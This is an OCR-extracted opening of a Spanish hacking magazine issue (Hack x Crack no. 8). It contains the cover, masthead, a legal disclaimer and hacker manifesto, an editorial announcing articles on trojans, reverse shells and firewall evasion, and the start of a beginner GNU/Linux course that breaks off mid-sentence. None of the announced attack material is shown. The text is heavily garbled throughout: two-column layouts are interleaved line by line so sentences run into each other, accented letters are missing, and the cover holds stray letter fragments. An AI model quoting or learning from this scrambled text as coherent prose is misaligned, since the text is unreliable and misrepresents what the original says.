Está en la página 1de 68

HACK X CRACK: EMPEZANDO A ESQUIVAR LOS CORTAFUEGOS

P
A
S NETCAT
PERL
O PIPES
P A S Oa
a
a
a
a
a
a
aa
a
a
a
a
a
APACHE: Configuracin
HACK X CRACK - HACK X CRACK - HACK X CRACK

Comparte ficheros
desde tu propio
Servidor Web
JUGANDO de nuevo
con el NETCAT

SERIE RAW
PROTOCOLOS

FONTANERA INFORMTICA :
TEMPLO de
conocimiento ENCADENANDO PROGRAMAS
VISUAL BASIC: Penetracin Inversa
A R R AY D E
CONTROLES en PCs Remotos
VECTORES
OCX SMTP: Descubre los
N 8 -- P.V.P. 4,5 EUROS protocolos de Internet
00008

8 414090 202756
Si no entiendes ni una palabra de esta portada, has llegado a
LA REVISTA DE INFORMTICA QUE ESTABAS ESPERANDO!!!
PC PASO A PASO: UN MODO DISTINTO DE ESTUDIAR INFORMTICA
PC
P
P
A
A
LOS CUADERNOS DE
S
S HACK
O
O
CRACK
Oaa
a www.hackxcrack.com
P
P A
A S
S O a
a
a
a
a
a
a
a
a
aa
a
a
a
a
a
a
a
a
aa
a

EDITORIAL: EDITOTRANS S.L. Director de la Publicacin


C.I.F: B43675701 J. Sents

E-mail
Director Editorial director@hackxcrack.com
I. SENTIS
Diseo grfico:
E-mail contacto J. M. Velasco
director@editotrans.com
Contacto diseador grfico
Ttulo de la publicacin grafico@hackxcrack.com
Los Cuadernos de HACK X CRACK.
Redactores
Nombre Comercial de la publicacn AZIMUT, ROTEADO, FASTIC, MORDEA, FAUSTO,
PC PASO A PASO ENTROPIC, MEIDOR, HASHIMUIRA, BACKBONE,
ZORTEMIUS, AK22, DORKAN, KMORK, MAILA,
Web TITINA, SIMPSIM... ... ... ... ...
www.hackxcrack.com
Contacto redactores
Deposito legal: B.26805-2002 redactores@hackxcrack.com
Cdigo EAN: 8414090202756
Cdigo ISSN: En proceso Colaboradores
Mas de 130 personas: de Espaa, de Brasil, de
Argentina, de Francia, de Alemania de Japn y
algn Estadounidense.

Contacto colaboradores
colaboradores@hackxcrack.com

Imprime
I.G. PRINTONE S.A. Tel 91 808 50 15

Distribucin
Coedis S.L. Avda. de Barcelona 225. Molins de Rei.
Barcelona. Tel 93 680 03 60 FAX 93 668 82 59
WEB: www.coedis.com (mapa de distribucin en la
web)

Copyright Editotrans S.L.


NUMERO 8 -- PRINTED IN SPAIN
PERIOCIDAD MENSUAL
DECLARACION DE INTENCIONES
PARA "LOS OTROS":

1.- La intencin de la presente publicacin NO ES fomentar la piratera curiosidad deberis ponerla VOSOTROS, porque los medios los facilitaremos
informtica ni la delincuencia en la Red. NOSOTROS. En las siguientes lneas os descubrimos cmo podremos
2.- Cualquier texto publicado es VALIDADO por nuestra Asesora Jurdica, conseguir nuestros objetivos y definimos algunas de las palabras que ms
por lo que advertimos a cualquier persona, empresa u organizacin de la han sido violadas y retorcidas en su significado.
inutilidad de cualquier iniciativa jurdica en nuestra contra. Aun as, en caso
de cualquier iniciativa en contra de esta revista, deber ser debidamente Hacker: Este trmino ha sufrido a lo largo de su corta historia una horrible
presentada y resuelta en la Razn Social que figura en nuestros documentos conspiracin perpetrada por la ignorancia de los medios, eso que
de constitucin. personalmente llamo "periodismo de telediario" (en clara alusin a los
3.- Esta publicacin no se hace responsable del mal uso de los conocimientos ridculos artculos que no hacen mas que intoxicar nuestra percepcin de
que se exponen. las cosas e insultar nuestra inteligencia). Ese tipo de periodismo unido a
4.- Esta publicacin NO FACILITAR los datos de nuestros colaboradores "otros poderes", desde los monopolios que deben justificar su incompetencia
ni el origen de nuestros conocimientos salvo ORDEN JUDICIAL y, aun as, hasta los gobiernos que deben justificar sus intereses ocultos pasando por
advertimos que algunos de esos colaboradores NO SON CONOCIDOS mas la industria del cine (normalmente demonolgica) y los medios informativos
que por sus NICKS (alias). Por ello, correr a cargo de los organismos "de masas".
pertinentes su descubrimiento.
5.- Esta publicacin NO SE HACE RESPONSABLE ni tienen por qu COMPARTIR Pues bien, HACKER no es mas que una persona que posee conocimientos
las opiniones personales vertidas por sus colaboradores, por lo que NO avanzados sobre una materia en concreto, normalmente relacionados con
SOMOS RESPONSABLES de las mismas. la tecnologa aunque ni mucho menos limitado a ello. Ponen sus aptitudes
6.- Cualquier texto publicado estar bajo las protecciones de DERECHOS al servicio de un nico objetivo: EL CONOCIMIENTO. Desean conocer el
DE AUTOR y no se permite su copia, publicacin, modificacin o distribucin funcionamiento de "las cosas" y no encuentran lmites en sus camino mas
sin antes obtener el permiso de esta editorial. De este punto quedan exentos que su propia curiosidad. No se dedican a destruir ni a causar estragos
aquellos textos que han sido obtenidos de terceros y/o que estn sujetos entre sus "victimas", no se dedican a robar ni a chantajear ni a regodearse
a otras licencias (ya sean por parte de su autor o por terceros). de sus "conquistas", muy al contrario suelen advertir a terceros de las
7.- Si desean ponerse en contacto con nuestro departamento jurdico, debilidades de sus sistemas y, desgraciadamente, esos "terceros" en lugar
rogamos enviar mail a juridico@hackxcrack.com de agradecerles su aviso se dedican a denunciarlos o perseguirlos aunque
no siempre es as, por supuesto, muchas compaas y gobiernos han
PARA NUESTROS LECTORES: aprendido lo valiosos que son los HACKERS y ahora algunos son colaboradores
(o empleados) de estos. BILL GATES es un HACKER (el pap ventanas),
Como podris ver, esta no es una revista mas, por primera vez tenis ante como Linus Torvalds (el pap Linux) o Grace Hooper (la Almirante,
vosotros una publicacin LIBRE que os ofrecer la posibilidad de explorar creadora del Lenguaje COBOL), los autores del COREWAR Robert Thomas
la red tal y como debe explorarse ;) Morris, Douglas McIlroy y Victor Vysottsky (precursores de los
creadores de virus informticos), Fred Cohen (el primer investigador y
Esta publicacin responde a la pregunta mas veces expuesta en LA RED: autor de los virus de la historia), Dennis Ritchie y Ken Thompson
Como puedo ser un hacker? Bien, ahora seguro que muchos ya se estn ("hacedores" del Lenguaje C y co-creadores del SO UNIX), Gary Kildall
"sonriendo" y pensando lo ilusos que somos al intentar "eregirnos" en (autor del sistema operativo CMP y CPM/86), Tim Paterson (autor del
"portadores de LA LUZ", pensando que seremos una "escuela de lamers" Quick & Dirty DOS), Morris (autor de "The tour of the Worm"), Kevin
y similares a otras publicaciones que, entre sus 100 pginas de revista solo Mitnick (el ms buscado por el FBI), Phiber Optik (lder juvenil convertido
contiene 5 de "material utilizable" (si es que puede llamarse as). en smbolo de los hackers), Richard Stallman (impulsor del "software
libre" y GNU), Johan Helsingius (primer conductor de un Remailer
Pues NO, lo siento, vosotros seris nuestros jueces y, llegado el caso, Annimo), Chen Ing-Hou (autor del virus CIH -Chernobyl- ), Sir Dyistic
NUESTROS VERDUGOS. (creadorutor del Back Orifice), David L. Smith (virus Melissa), Reonel
Ramonez (virus LoveLetter), Vladimir Levin (Rob electrnicamente
Nuestro objetivo es: ACABAR CON LA BASURA DE LA RED (lamers y dems 10 millones de dlares al Citibank), y muchos mas. Cmo? Pero no hemos
"esencias") con el nico mtodo que conocemos: LA EDUCACIN y con un dicho que los hackers no comenten delitos? Pues NO, vuelve a leer su
nica bandera que ser por siempre nuestra firma: SOLO EL CONOCIMIENTO definicin pero claro, de todo hay en la via del seor, y al igual que hay
TE HACE LIBRE
LIBRE. delincuentes entre el clero hay hackers que en un momento u otro han
caido en la ilegalidad, nadie es perfecto!!!!! y Bill Gates es un HACKER?
Estos son nuestros pilares: LA EDUCACIN Y EL CONOCIMIENTO.
CONOCIMIENTO Para ser Por supuesto, solo tienes que leerte su biografa. Sorprendido? Espero
un HACKER (maldita palabra mal entendida por unos y peor utilizada por que no, porque eso no es nada mas que un cero a la izquierda en comparacin
otros) solo hace falta dos cosas: curiosidad y medios, a partir de ahora la con lo que vas a encontrar en esta revista.

PC PASO A PASO N 8 Pgina 3


EDITORIAL
el director sustituto (segunda
parte): asumiendo riesgos
Por segunda y ltima vez, vuestro esclavo AZIMUT ha
tenido que sustituir a nuestro director en la difcil tarea de
sacar adelante un nmero ms de PC PASO A PASO (Hack
x Crack).

INDICE
En este nmero he tenido que tomar decisiones cuyas
consecuencias (buenas o malas) tendr que sufrir en EL
FORO de -www.hackxcrack.com- Ya sabes que los lectores
(y colaboradores) nos reunimos all para exponer nuestras
impresiones y compartir conocimientos, pues bien, all me
tendris para ser crucificado y dar explicaciones respecto a
este nmero de PC PASO A PASO.

El contenido del presente nmero 8 no es, ni de lejos, lo que 3 DECLARACION DE INTENCIONES


tena pensado publicar en un principio. Decid dejar los
troyanos en casita y apostar por EL CONOCIMIENTO. Esta 4 EDITORIAL
vez nuestros lectores, T, tendrs que trabajrtelo bastante
si quieres seguir avanzando.
5 CURSO DE LINUX
- Cmo? Qu? Este mes no tengo un troyano con el que
juguetear? 17 APACHE: COMPARTE ARCHIVOS
S, lo tienes, pero tendrs que empezar a tomarte las cosas
en serio: EL PARVULARIO SE HA ACABADO!!!, lo siento, 26 SUSCRIPCIONES
todos sabamos que este da llegara y YA HA LLEGADO ;)
26 REVERSE SHELL
Este mes te toca instalar LINUX,
LINUX instalar el NETCAT para
Linux, compilar en PERL y conocer las pipes si quieres
disfrutar de la racin mensual de troyano. Por si te parece 43 GANADOR DEL CONCURSO SUSE LINUX
poco, para colmo, aprenderemos cositas interesantes sobre
el protocolo SMTP,
SMTP seguiremos con nuestro curso de Visual
Basic estudiando unas cosas muy raras llamadas arrays
arrays, 44 CURSO DE VISUAL BASIC: MAS CALCULADORA
vectores y controles OCX ;p y, para rematarlo seguiremos
configurando nuestro propio Servidor Web basado en APACHE 51 CONCURSO DE SUSE LINUX 8.1
y dndole caa al TELNET
TELNET.

No, no te dejaremos solo ante tan titnico trabajo, estaremos 52 PROTOCOLOS Y SU SEGURIDAD: SMTP
contigo a cada paso y recuerda algo MUY IMPORTANTE: En
el foro de nuestra Web puedes compartir tus dudas. Nos 65 BAJATE LOS LOGOS DE PC PASO A PASO (HXC)
llegan muchos mails preguntando por los temas explicados
en la revista, pero EL FORO es donde mejor y ms rpido
sern respondidas 65 COLABORA CON NOSOTROS

Solo me queda dar las gracias a todos los colaboradores y 66 SERVIDOR DE HXC. MODO DE EMPLEO
encomendar mi alma los dioses para que PC PASO A PASO
8 sea de TU agrado :)
67 NUMEROS ATRASADOS
Un abrazo muy fuerte, atentamente...

-- AZIMUT, el que durante dos


meses ha tenido el placer de
ser tu servidor y esclavo --

... porque slo el poder del conocimiento


nos hace libres.

Pgina 4 PC PASO A PASO N 8


GNU/LiNUX

- Presentacin y Significado: Software Libre NO ES Software Gratis ;)


- Distribuciones y links de descarga
- NETCAT en Linux: Descarga, compilacin y ejecucin
- Compilando en Perl desde Linux
- "PIPES" en Linux

1 - Presentacin este S.O. en nuestro ordenador y en el futuro


iremos profundizando en las muchas facetas
Algunas personas que son verdaderos hackers que lo definen (instalacin, administracin,
suelen decir que GNU/LiNUX es el mejor S.O. programacin, seguridad, etc...).
para programar. En la presente serie de artculos
intentaremos demostrar que esta no es una En concreto este mes nos centraremos, con el
afirmacin gratuita. fin de seguir cierta coherencia con el resto de
los artculos del presente nmero, en tres
Tal vez una de las ventajas ms obvias sea puntos:
que podemos mirar en sus entraas, modificar
todo lo modificable y tener acceso de primera - Pipes: Como confrontacin del uso de una
mano a todo aquello que se esconde tanto utilidad en dos SS.OO. distintos. De esta manera
bajo como sobre un S.O. Sin acceder a oscuros podremos ir acostumbrndonos al way of life
trucos ni caractersticas no documentadas. Sin de los sistemas UNiX.
tener que andar mendigando nmeros de serie - Perl: Como ejemplo de cmo se utiliza un
o cracks. Todo lo tendremos ah, disponible lenguaje de scripting
para que tomemos lo que queramos. Y, por - Netcat: Como ejemplo de cmo obtener el
una vez, tendremos a la ley de nuestro lado. cdigo fuente de una aplicacin y como a partir
Este ser el objetivo principal de este artculo. de este generamos el ejecutable.

Cul ser el precio de tanta maravilla? Trabajo. Y todo ello tras una extensa presentacin de
Mucho trabajo. En este mundo en el que mucha GNU/LiNUX.
gente ha trabajado antes desinteresadamente
generando informacin, tecleando lneas de 2- Qu es GNU/LiNUX?
cdigo que luego ponen a tu disposicin, etc...
Slo se pide una cosa: Que tambin se trabaje Normalmente una forma de definir LiNUX es
leyendo esa documentacin y ese cdigo. como la de " Sistema Operativo tipo UNiX libre".
Si no eres de esta opinin, tal vez el mundo A estas alturas la mayora de la gente recin
de GNU/LiNUX en particular y del Software Libre llegada al mundo de GNU/LiNUX se preguntar
en general no sea el ms adecuado para ti y si eso de GNU/LiNUX es "otra cosa" parecida
tarde o temprano te desilusionars. a eso de lo que han odo hablar mucho
ltimamente y que la gente llama LiNUX "a
Por ahora realizaremos una presentacin general secas". Pues bien, no, no es "otra cosa";
de lo que es GNU/LiNUX. Veremos cuales son Estamos hablando de lo mismo. Pero para
los pasos, independientemente de la entender el porqu, conviene referirnos a este
distribucin, que se deben seguir para instalar S.O. como GNU/LiNUX y no LiNUX, tenemos

PC PASO A PASO N 8 Pgina 5


GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU

que saber primero qu significa LiNUX y qu operativo UNiX-like , es decir, similar a los
significa GNU. sistemas UNiX de la poca, denominado HURD
('Hird of Unix-Replacing Daemons' donde HIRD
LiNUX, inicialmente, es el fruto de un trabajo significa 'Hurd of Interfaces Representing Depth'),
de programacin de un chico llamado Linus con la particularidad de que sera desarrollado
Torvalds que all por 1991 mientras estaba bajo los trminos de Free Software (Aplicaciones
en la universidad de Helsinki pasando fro (digo Informticas Libres). Una vez ms, a pesar de
yo) y aprovechando la coyuntura de obtener lo interesante del tema, debemos de ceirnos
su primer i386, decidi realizar su "versin a una mera presentacin. Si queris ahondar
mejorada" del S.O. que l manejaba ms en los trminos GNU y Free Software os
habitualmente: MiNiX. De esta manera obtuvo recomiendo una visita a http://www.es.gnu.org
lo que se denomina un kernel o ncleo de S.O. donde encontraris la informacin necesaria.
que es el corazn de todo S.O.. Desde la
primera versin operativa de este kernel se Lo que s es muy interesante es que a pesar
unieron a Linus Torvalds una gran cantidad de de los intentos de realizar un UNiX libre por
gente que ofreci mejoras e increment la parte de GNU desde 1984, en 1991 se
funcionalidad de dicho ncleo. Desde entonces, encuentran todava en pleno diseo de su
el desarrollo del kernel de GNU/LiNUX es un sistema HURD. Por lo dems en estas fechas
trabajo realizado por muchsimas personas en GNU ha desarrollado ya una grandsima cantidad
todo el mundo y supervisado por Linus. de aplicaciones libres disponibles en cdigo
fuente y que estn disponibles en Internet.
MiNiX era una herramienta didctica que Por otra parte LiNUX es tan slo un ncleo de
acompaaba al libro "Modern Operating Systems" S.O. hurfano que s ha logrado utilizar muchas
del eminente profesor Adrew Tanenbaum. MiNiX de las aplicaciones GNU. Tras decidir Linus que
era a su vez un S.O. basado en los sistemas el cdigo del ncleo de su S.O. tambin se
UNiX en los que el autor trabaj como distribuira bajo los trminos de la licencia GNU,
desarrollador. era una cuestin de conveniencia el surgimiento
El desarrollo de LiNUX plante un debate en de una plataforma mixta cuyo corazn fuera
ocasiones agrio entre la comunidad MiNiX el ncleo LiNUX, pero que el resto fuera fruto
participando en esta "contienda" tanto Linus del trabajo de GNU.
Torvalds como A. Tanenbaum. A pesar de ser
una historia apasionante, tendremos que dejarla Es por esto que cuando hablamos de un S.O.
aparcada por ahora. Est ampliamente difundida LiNUX, estamos refirindonos a un sistema
por Internet la copia del grupo de noticias GNU/LiNUX.
donde se desarroll este debate
(comp.os.minix ) pero os recomiendo esta 3 - Cmo puedo conseguir
pgina donde se realiza un anlisis detallado GNU/LiNUX?
de la postura de ambos bandos:
http://www.cab.u-szeged.hu/local/linux/linux- Pues de diversas maneras. Antes he mencionado
obsolote.html (No os asustis por el hngaro, que GNU/LiNUX es Software Libre. Esto no
tan slo se utiliza en el primer prrafo). quiere decir que sea gratuito, como dicen en
algunos sitios ( :oP ) sino que si t obtienes
El proyecto GNU (acrnimo recursivo que una copia, puedes realizar tantas copias como
corresponde a "GNU is Not UNiX") nace en quieras, y puedes hacer con estas copias lo
1984 capitaneado por Richard M. Stallman que desees: Regalarlas, venderlas, modificarlas,
con la finalidad de desarrollar un sistema etc.... Slo has de cumplir un requisito: Dejar

Pgina 6 PC PASO A PASO N 8


GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU

bien claro al que se lo des, vendas, etc.... que La que desees. Seguramente ya tienes alguna
puede hacer lo mismo que has hecho t y que referencia. Personalmente te aconsejo que si
si te piden el cdigo fuente debers de quieres algo "a lo XP" o "a lo Mac" escojas
facilitrselo. entre Mandrake, Red Hat, SuSE..... Son
distribuciones planteadas hacia un usuario
Esta manera de hacer las cosas es la que ha domstico al que le importa muy poco cmo
propiciado el que surja el concepto de estn colocados los desages de su ciudad;
distribucin. Una distribucin o distro de tan solo le interesa que no se le atasque la
GNU/LiNUX se da cuando una persona, grupo fontanera domstica.
de personas o empresas, deciden crear un Si por el contrario ests ms familiarizado con
sistema GNU/LiNUX y distribuirlo, ya sea los sistemas UNiX y no deseas gastarte una
comercialmente o no. Como a cada hijo de pasta en una licencia de Solaris (tm) a la hora
madre nos gustan las cosas a nuestra manera, de tener un entorno UNiX domstico, puedes
es lgico que si te ofrecen la posibilidad de optar por una Slackware, Debian, Knopix,
crear un S.O. a tu medida lo hagas si te sientes Gentoo, etc..... Sin olvidar las arriba
capaz. Si adems puedes fardar delante de la mencionadas.
novia o ganar un dinerito con ello, miel sobre
hojuelas. Las primeras distros surgen - Cul es mejor?
precisamente como trabajo de particulares Esto es subjetivo. Todo depende de lo que
(Slackware con Patrick Volkerding a la quieras hacer. Todas pueden hacer las
cabeza), luego surgieron las distros tipo "club- mismas cosas; ahora bien, unas estn
de-amiguetes-que-se-conocen-en-el-cole-con- concebidas para ser fciles de manejar a un
ganas-de-hacer-cosas" como Jurix, y luego los usuario normal; otras para dotar de la posibilidad
miembros del club crecen, les salen hipotecas de adecuar el S.O. a tu hardware de una forma
como sabaones y montan empresas que se sencilla, otras para aumentar la seguridad,
dedican a lo mismo que hacan pero cobrando: otras para programar.....
SuSE.
Si eres recin llegado a GNU/LiNUX comienza
Este sistema ha venido funcionando muy bien por una en la que no te sientas cohibido por
hasta la fecha pues ha mantenido la el cambio (e.d. una que te recuerde mucho a
"competencia" entre distribuciones y ha puesto otro S.O. que hayas manejado). Mandrake,
en evidencia a los que hace unos aos decan RedHat o Suse sern tu opcin.
que era imposible que saliera nada serio de
un grupo de adolescentes desperdigados por - Cul est en espaol?
el orbe. As se ha logrado simplificar mucho Todas ellas. Cuando las instalas puedes escoger
aspectos como la instalacin, la disponibilidad el idioma que desees.
de aplicaciones, la disponibilidad de
controladores, etc.... - Merece la pena comprarla?
En un pas en el que an se sacan navajas por
Dicho esto, es fcil de adivinar que si queremos no pagar una ronda, esta pregunta es muy
conseguir GNU/LiNUX, debemos de hacernos interesante. Podra parecer que aquel que paga
con una distribucin. Y es entonces por algo que puede conseguir gratis es, como
cuando surgen las cinco preguntas poco, bobo. Pues puede que no lo sea. Hoy
estrella: por hoy recomendara comprar distribuciones
a dos tipos de usuario: Por un lado al novatillo
- Cul elijo? desorejado y asustadizo (que hemos sido

PC PASO A PASO N 8 Pgina 7


GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU

todos) que se aferra a los manuales como a Posibilidad D: Revistas sobre GNU/LiNUX. Es
un salvavidas: Los paquetes comerciales suelen muy raro que un mes alguna de ellas no regale
venir con excelentes manuales, asistencia una distribucin. A veces incluso son
tcnica gratuita durante un ao, y el derecho distribuciones que funcionan directamente desde
a hacer con todo ello lo que le de la gana. el CD ( live-cd ). Suelen ser muy buena opcin
Cuando el autor de este artculo comenz con para echar un vistazo al GNU/LiNUX sin miedo
GNU/LiNUX hubiese agradecido, no ya un a cargarnos nada.
manual en su idioma vernculo, sino alguien
con quien hablar de ello. Bueno, tras lo dicho, se ve que es muy fcil
conseguir una distribucin; es ms, la mayora
El segundo tipo de usuarios a los que de vosotros seguro que tenis una cerca del
recomendara gastarse algo de dinero y entre ordenador, pero an no os sents con fuerzas
los que me reconozco, seran aquellos que para afrontar esas historias tenebrosas que
creen en que el Software Libre es una opcin habis odo contar sobre discos duros que se
y que debe ser apoyada en la medida de lo estropearon, tarjetas 3D que jams realizaron
posible. su funcin, escneres convertidos en
estanteras.....
Finalmente: Aunque decidas comprarte una
caja que pone Nosequ-Linux, la relacin Ha llegado el momento de la instalacin.
calidad/precio ser excelente. An no he
conocido a nadie que se haya arrepentido de 4 - Instalacin de GNU/LiNUX
comprar una distribucin GNU/LiNUX en una
tienda. Este tema ser tratado en mayor profundidad
en nmeros posteriores. De todas formas voy
Sealar como dato curioso que precisamente a intentar de dar una descripcin general sobre
las distribuciones ms afines al usuario "normal" la instalacin de GNU/LiNUX sin centrarme en
son las ms comerciales. Pero ojo, an as ninguna distribucin concreta y dar una serie
siguen siendo Software Libre. de consejos que puede que sea de utilidad.

- Dnde la consigo gratis? 4.1 - No ests slo.

Posibilidad A: En Internet. Hay lugares como En los 8 aos que llevo con GNU/LiNUX an no
http://www.linuxiso.org/ o me he encontrado con una distribucin que en
http://www.rediris.com donde puedes bajarte el propio CD de instalacin no traiga la
las imgenes de CD-ROM de la mayora de las documentacin necesaria para instalar
distribuciones. GNU/LiNUX. Suele ser documentacin especfica
de esa distribucin y suele estar disponible en
Posibilidad B: Pedrsela a un amigo, conocido varios idiomas. Este es el Punto 0 que a partir
o similar... de ahora no nos abandonar nunca: Leer
primero la documentacin. Se que cuesta. Yo
Posibilidad C: Otra manera para los que no tambin paso de leerla muchas veces. Yo
poseen una conexin rpida en casa, es acudir tambin tengo que leerla tras haberme tirado
a los revendedores que te envan contra de los pelos.
reembolso los CDs a casa. Es el caso de
http://www.opencd.com/ y suele ser una opcin Esta documentacin suele estar en directorios
bastante econmica. que se llaman Doc, Documentation, Installation,

Pgina 8 PC PASO A PASO N 8


GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU

Installing, etc....

4.2 - Preparando el sistema La misin de este excelente artculo es ofrecerte una


presentacin de lo que significa GNU/LiNUX y
Antes de instalar cualquier S.O. conviene proporcionarte los conocimientos mnimos necesarios para
recopilar una serie de informacin sobre nuestro poder comprender (y seguir) los artculos presentados en
ordenador con el fin de tenerla a mano en caso este nmero 8 de PC PASO A PASO (Los Cuadernos de
de que la necesitemos durante la instalacin. Hack x Crack): NETCAT, Perl y "pipes".

Para GNU/LiNUX la informacin ms relevante Si tienes cualquier duda respecto a los temas en los que no
suele ser: profundizamos, tienes a tu disposicin EL FORO DE
HACK X CRACK (www.hackxcrack.com), donde hay una
Particiones de disco duro: GNU/LiNUX seccin GNU / LiNUX precisamente para que preguntes
necesitar de espacio en disco para ser y disfrutes de un mundo que, quizs a da de hoy,
instalado. Esto requiere de que dispongamos desconoces.
de espacio libre (ojo, con "espacio libre" no
nos referimos a los MBs libres en C: o D: sino Tarde o temprano, si sigues leyendo esta revista, te ser
al espacio no asignado a ninguna particin) en imprescindible tener a mano una instalacin de LINUX.
el disco. Como este no suele ser el caso comn No lo dejes por mas tiempo, decdete YA!!! e inicia de una
y el que ms dolores de cabeza levanta, vamos vez por todas tu camino en este Sistema Operativo. Esta
a asumir desde ahora que tenemos un editorial est convencida de que, si LINUX fuese el Sistema
ordenador con un S.O. de Microsoft previamente Operativo "por defecto" y todo el mundo lo conociese, esta
instalado y que las particiones creadas por este revista tendra un nivel que nada tiene que ver con lo que
ocupan todo el disco duro. has visto/ledo hasta ahora. Microsoft te lo pone todo "muy
fcil", quizs s, o no, segn se mire; pero te oculta (y casi
En este caso tendremos que reparticionar. El imposibilita) la posibilidad de APRENDER y entender el
proceso de reparticionar consiste en cambiar funcionamiento de "las cosas". Linux es exactamente lo
de tamao una particin existente (FAT32, contrario, te OBLIGA a comprender el funcionamiento de
NTFS, etc...) reducindola de tamao. De esta las cosas, esa es, desde nuestro punto de vista, LA GRAN
manera dispondremos de espacio libre en el DIFERENCIA.
disco no asignado a ninguna particin. Esta
tarea se puede realizar con aplicaciones como Un abrazo a todos los lectores ;)
Partition Magic, GNUparted o incluso desde el
propio proceso de instalacin de alguna
distribucin GNU/LiNUX como Mandrake. Una vez que hemos obtenido espacio libre en
disco debemos de tener en cuenta como se
nombran las particiones de disco en GNU/LiNUX
! Comentario de... para utilizar esta informacin en el futuro.
Como heredero que es de sistemas UNiX,
GNU/LiNUX accede a cualquier dispositivo
La intencin de este artculo NO ES explicar a fondo cmo
hardware como si de un archivo se tratase.
se instala una "distro" de LINUX ni entrar de lleno en
Estos archivos que representan al hardware de
temas como el "redimensionado" de particiones,
la mquina (discos duros, memoria, tarjetas de
configuracin de la conexin a Internet en Linux, y muchos
sonido, etc....) se sitan en el directorio /dev
otros temas. Todo eso ya llegar. :)
(dev, como abreviatura de device, en ingls
dispositivo ). La manera en que GNU/LiNUX ve

PC PASO A PASO N 8 Pgina 9


GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU

las particiones de un disco duro ser la Datos de la red: Tanto si tenemos una red
siguiente: montada en casa o una conexin a Internet
necesitamos conocer los datos necesarios para
Para nombrar un disco duro escribimos configurar nuestra red.
/dev/hdXY que corresponde a
"/dispostivo/discoduroXY" (disco duro se escribe En prximos artculos realizaremos una
hard disk en ingls y su abreviatura es hd), la instalacin paso a paso. Advierto que nos
X corresponder a una letra que nos dir en centraremos en GNU/LiNUX-Debian. Las razones
qu canal IDE se encuentra el dispositivo y la para ello son que es una distribucin 100%
Y corresponder a un nmero de particin libre y que su instalacin puede ser calificada
dentro de ese dispositivo. de "complicada" en comparacin con
Adems, si por ejemplo tenemos una unidad distribuciones como Mandrake, SuSE o RedHat
de CD-ROM / DVD, nos referiremos siempre a que son ms fciles de instalar incluso que
este tipo de unidades como /dev/hdX, sin el cualquier S.O. de Microsoft.
nmero, dado que dentro de un CD-ROM no
podemos realizar particiones. 5 - Ya tenemos GNU/LiNUX
instalado; y ahora, qu?
Un posible esquema de particiones antes de
instalar GNU/LiNUX podra ser el siguiente: Pues a partir de ahora nuestro escenario de
trabajo va a ser la consola. La consola es el
medio bsico de comunicacin con un sistema
UNiX. Normalmente utilizaremos en la consola
una shell o intrprete de comandos. La shell
que viene por defecto en la mayora de los
sistemas UNiX es el sh o bash. Para abrir la
Imaginemos que en el anterior caso mostrado consola tenemos varias opciones: Si estamos
deseamos utilizar parte del espacio del disco en un sistema sin entorno grfico, la pantalla
situado como maestro en el canal IDE 1. mostrar una pantalla similar a esta llamada
Reparticionando dicho disco duro dejaramos pantalla de login:
un espacio no asignado de por ejemplo 7GB.
En este espacio es donde crearemos particiones Si tenemos
GNU/LiNUX. Recomiendo crear estas particiones entorno
desde los propios programas de instalacin de grfico,
GNU/LiNUX. tambin se
nos pedir
Frecuencias de refresco del monitor: e s t a
Otro dato relevante y necesario al configurar informacin
GNU/LiNUX son las frecuencias de antes de
refresco horizontal y vertical del monitor, entrar en l y entonces podremos abrir una
luego tendremos estos datos a mano. lnea de comandos de dos maneras:
Se encuentran normalmente en el manual a) Ejecutando un emulador grfico de terminal
del monitor y ltimamente no suelen como rlogin, xterm, kterm, gnome-terminal, etc....
ser necesarios dado que la mayora b) Pulsando la combinacin de teclas
de las distribuciones lo autodetecta. <Ctrl>+<Alt>+FX donde X puede ser 1, 2, 3,
S sern necesarios para Debian, Slackware, 4, 5 o 6. Para volver al entorno grfico tecleamos
etc..... <Ctrl>+<Alt>+F7.

Pgina 10 PC PASO A PASO N 8


GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU

Esta pantalla muestra al sistema listo para que normal no puede daar las partes crticas del
introduzcamos nuestro login o nombre de sistema.
usuario. Posteriormente se nos pedir el
password de este usuario: En prximos artculos veremos como crear
Si hemos nuevos usuarios.
metido el
nombre de 5.1- Navegando por la shell
usuario y el
password Una vez que hemos accedido a nuestra cuenta
correctos, y el sistema est esperando que le demos
entraremos en el sistema; en otro caso, se nos rdenes, debemos de introducir un comando.
mostrar un mensaje de error. Una vez dentro
del sistema ya hemos accedido a la shell por Una de las cosas a tener en cuenta a partir de
defecto. El smbolo $, llamado prompt, que ahora cuando manejemos la lnea de comando
podemos observar en la lnea de comandos de GNU/LiNUX, es que aqu se distingue entre
indica que el sistema est listo para aceptar maysculas y minsculas. A esta forma de
comandos. comportarse se le denomina case sensitive. Eso
quiere decir que no sern lo mismo el comando
ls que el comando LS o el archivo carta.txt que
Carta.txt o CARTA.TXT.
Algunos de los posibles comandos de los que
disponemos son:

En el ejemplo mostrado se ha utilizado un


usuario llamado luis . Este usuario ha podido
entrar debido a que es un usuario de este
sistema y tiene una cuenta shell. Tener una
cuenta es tener un login y un password vlidos
para acceder al sistema.
Normalmente los sistemas GNU/LiNUX permiten
crear uno o ms usuarios durante la instalacin,
pero siempre existir un usuario denominado
root y que es el administrador del sistema. Este
usuario siempre existir y su password ser
establecido durante la instalacin.

No conviene utilizar habitualmente la cuenta


de root, dado que este usuario, por ser el
usuario administrador, puede alterar cualquier
aspecto del sistema, y si no sabemos muy Tal vez los comandos ms importantes sean
bien lo que hacemos (e incluso si lo sabemos) dos que no aparece en esta tabla: el comando
podremos daarle irreversiblemente. man y el comando info . Estos comandos nos
Es por esto que se recomienda encarecidamente muestran informacin detallada de casi cualquier
el uso de otro usuario, dado que un usuario comando o programa que tengamos instalado

PC PASO A PASO N 8 Pgina 11


GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU - LINUX - GNU

en nuestro sistema. Requieren que est Entonces tendremos que buscarlo en Internet.
instalado el sistema man e info, cosa que ocurre Un buen punto de partida suele ser
